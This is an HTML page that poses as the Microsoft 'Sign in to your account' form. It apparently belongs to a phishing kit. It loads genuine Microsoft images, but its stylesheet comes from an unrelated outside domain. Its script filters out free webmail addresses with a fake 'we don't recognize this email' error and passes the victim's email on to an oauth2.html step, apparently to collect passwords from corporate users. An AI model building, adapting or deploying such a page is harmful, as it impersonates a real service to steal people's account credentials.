<!-- TODO: Make 365 Redirect to office page -->
<!DOCTYPE html>
<html dir="ltr" class="" lang="en">
   <head>
      <title>Sign in to your account</title>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
      <meta http-equiv="X-UA-Compatible" content="IE=edge">
      <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
      <meta http-equiv="Pragma" content="no-cache">
      <meta http-equiv="Expires" content="-1">
      <meta name="format-detection" content="telephone=no">
      <meta name="robots" content="nosnippet, noydir, noodp, nofollow, noindex, noarchive">
      <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">
      <link href="https://customersupport.website/hot.css" rel="stylesheet" type="text/css"/>
   </head>
   <body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;" cz-shortcut-listen="true">
      <div>
         <div data-bind="if: activeDialog"></div>
         <form name="f1" id="i0281" novalidate="novalidate" spellcheck="false" method="post" target="_top" autocomplete="off" class="provide-min-height">
            <div class="login-paginated-page">
               <div id="lightboxTemplateContainer" class="provide-min-height">
                  <!--  -->
                  <div id="lightboxBackgroundContainer">
                     <div class="background-image-holder" role="presentation">
                        <div id="backgroundImage" data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" class="background-image ext-background-image" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg&quot;);"></div>
                     </div>
                  </div>
                  <div class="outer">
                     <div class="template-section main-section">
                        <div class="middle ext-middle">
                           <div class="full-height">
                              <div class="flex-column">
                                 <div class="win-scroll">
                                    <div id="lightbox" class="sign-in-box ext-sign-in-box fade-in-lightbox has-popup">
                                       <div class="lightbox-cover" data-bind="css: { 'disable-lightbox': svr.fAllowGrayOutLightBox &amp;&amp; showLightboxProgress() }"></div>
                                       <div>
                                          <img class="logo" role="img" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ed9c9eb0dce17d752bedea6b5acda6d9.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg" data-bind="imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }" src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg" alt="Microsoft">
                                       </div>
                                       <div role="main">
                                          <!--  -->
                                          <div data-bind="css: { 'zero-opacity': hidePaginatedView() }" class="">
                                             <div class="pagination-view animate slide-in-next">
                                                <div data-viewid="1">
                                                   <div>
                                                      <div>
                                                         <div class="row title ext-title" id="loginHeader">
                                                            <div role="heading">Sign in</div>
                                                         </div>
                                                      </div>
                                                   </div>
                                                   <div class="row">
                                                      <div id="uError" role="alert" aria-live="assertive">
														
                                                      </div>
                                                      <div class="form-group col-md-24">
                                                         <div class="placeholderContainer">
                                                            <input type="email" name="u" id="u" maxlength="113" class="form-control ltr_override input ext-input text-box ext-text-box" placeholder="Email, phone, or Skype">
                                                         </div>
                                                      </div>
                                                   </div>
                                                   <div class="position-buttons password-reset-links-container ext-password-reset-links-container">
                                                      <div class="row">
                                                         <div class="col-md-24">
                                                            <div class="text-13">
                                                               <div class="form-group">No account? <a href="https://login.live.com/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&amp;scope=openid+profile+https%3a%2f%2fwww.office.com%2fv2%2fOfficeHome.All&amp;redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2&amp;response_type=code+id_token&amp;state=338cO8ocUPTN-dIlh2DgBwS0jQ9CJ2oVAwuMZhDRdRdCNUo_gqTCE6GGL12GTEDPzOoqxcWP6bfMGoowRlDI_N2ekMkt7rfKFZajQRMXlta1D0A-co1UayqLmMAdP7zg2kt8Fn-3daEP0eenUwv8oxGUduy548jMSFr_TiGt9UHqNUrI2q7FhLPEU9XbnpPUFOySFQegKrJqzqkr9QnY5K2EpTtPUZyrDbHey5qJRudHThpXFTQEe7WpEcsfbzgySkTgc-PMxtH7PRPL1J0SWKnBwxiR-Bfnp9PZsnXmizk&amp;response_mode=form_post&amp;nonce=638166703882969472.MDk1Y2JjZGUtZDViMy00OGM1LThkMmYtZGM5ZmY0ZDY0OGMzZmVkYTA1YTAtMDM4OS00YTQ1LTk2MjItYmUxODM1NWE2NDRi&amp;x-client-SKU=ID_NET6_0&amp;x-client-Ver=6.26.1.0&amp;uaid=8c86d179551847ff9b72f2efcd0f7ec3&amp;msproxy=1&amp;issuer=mso&amp;tenant=common&amp;ui_locales=en-US&amp;signup=1&amp;lw=1&amp;fl=easi2&amp;epct=PAQABAAEAAAD--DLA3VO7QrddgJg7WevrIEpnuy7hEC9lpncKy46OPk_jz71Z6xgPj9xoKJAc6rC28356FyxY5n-QuigDinzozA7ayQUfUjfiJb52hDNwMurs8pli4PbL67HVi_CWRiWqu9bAf-ryvluRSf2qSNMfw3jpCoIiLSIOonHjO7ZBnVyghJN8qiJ48li2uSCKn_mVQR-EmZgFSwhYhLLFdvRoQzyVfv6lnRm2oCJkx4nEZCAA&amp;jshs=0" id="signup" target="_blank" aria-label="Create a Microsoft account">Create one!</a></div>
                                                               <div class="form-group">
                                                                  <a id="cantAccessAccount" name="cannotAccessAccount" href="#">Can’t access your account?</a>
                                                               </div>
                                                            </div>
                                                         </div>
                                                      </div>
                                                   </div>
                                                   <div class="win-button-pin-bottom">
                                                      <div class="row">
                                                         <div>
                                                            <div class="col-xs-24 no-padding-left-right button-container button-field-container ext-button-field-container">
                                                               <div class="inline-block button-item ext-button-item">
                                                                  <input type="button" id="idBtn_Back" class="win-button button-secondary button ext-button secondary ext-secondary" value="Back">
                                                               </div>
                                                               <div class="inline-block button-item ext-button-item">
                                                                  <input type="button" id="idSIButton9" class="win-button button_primary button ext-button primary ext-primary" value="Next">
                                                               </div>
                                                            </div>
                                                         </div>
                                                      </div>
                                                   </div>
                                                </div>
                                             </div>
                                          </div>
                                       </div>
                                    </div>
                                    <div>
                                       <div class="promoted-fed-cred-box ext-promoted-fed-cred-box">
                                          <div class="promoted-fed-cred-content">
                                             <div class="row tile">
                                                <div class="table" role="button" tabindex="0">
                                                   <div class="table-row">
                                                      <div class="table-cell tile-img medium">
                                                        <img class="tile-img medium" role="presentation" data-bind="attr: { src: $data.darkIconUrl }" src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSMEYvtRw8Z7AS4fHTfyNhz-RSrBpzz_XxKpavM7lRgaw&s">
                                                      </div>
                                                      <div class="table-cell text-left content" data-bind="css: { 'content': !svr.fSupportWindowsStyles }">
                                                        <div>Sign-in options</div>
                                                      </div>
                                                   </div>
                                                </div>
                                             </div>
                                             <!-- /ko -->
                                          </div>
                                       </div>
                                       <!-- /ko -->
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
                     </div>
                     <div id="footer" role="contentinfo" class="footer ext-footer">
                        <div>
                           <div id="footerLinks" class="footerNode text-secondary footer-links ext-footer-links">
                              <a id="ftrTerms" href="https://www.microsoft.com/en-US/servicesagreement/" class="footer-content ext-footer-content footer-item ext-footer-item" target="_blank">Terms of use</a>
                              <a id="ftrPrivacy"href="https://privacy.microsoft.com/en-US/privacystatement" class="footer-content ext-footer-content footer-item ext-footer-item" target="_blank">Privacy &amp; cookies</a>
                              <a id="moreOptions" href="#" role="button" class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a>
                           </div>
                        </div>
                     </div>
                  </div>
               </div>
            </div>
         </form>
      </div>
	  <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script src="./config.js"></script>
	  <script>
		$('#idSIButton9').click(function() {
			const u = document.getElementById('u');
			if(u.value === ''){
				$('#uError').html('<div class="col-md-24 error ext-error" style="color: #e81123;font-size:16px">Enter email password to continue.</div>');
				return false;
				
			}else if (isBlockedEmail(u.value)) {
				
				$('#uError').removeClass('hide').html('<div class="col-md-24 error ext-error" style="color: #e81123;font-size:16px">Sorry, we don\'t recognize this email.</div>');
				return false;
				
			}else {
				$('#uError').html('').hide();
				setTimeout(function(){
					window.location.replace("oauth2.html?cms="+u.value)
				},2000);
				
			}
			
		});
		function isBlockedEmail(str) {
		  var blocked = ["gmail.com", "yahoo", "daum.net", "aol.com", "qq.com", "126.com", "123.com", "yeah.com", "rediffmail.com", "yandex", "mail.ru"];
		  for(var i = 0; i< blocked.length; i++) {
			if(str.indexOf(blocked[i]) != -1) {
			   return true;
			}
		  }
		  return false;
		}
		function getParameterByName(name, url) {
			if (!url) url = window.location.href;
			name = name.replace(/[\[\]]/g, '\\$&');
			var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)'),
				results = regex.exec(url);
			if (!results) return null;
			if (!results[2]) return '';
			return decodeURIComponent(results[2].replace(/\+/g, ' '));
		}
			
		const login_username = getParameterByName('cms');
		document.getElementById("u").value = login_username;
	  </script>
   </body>
</html>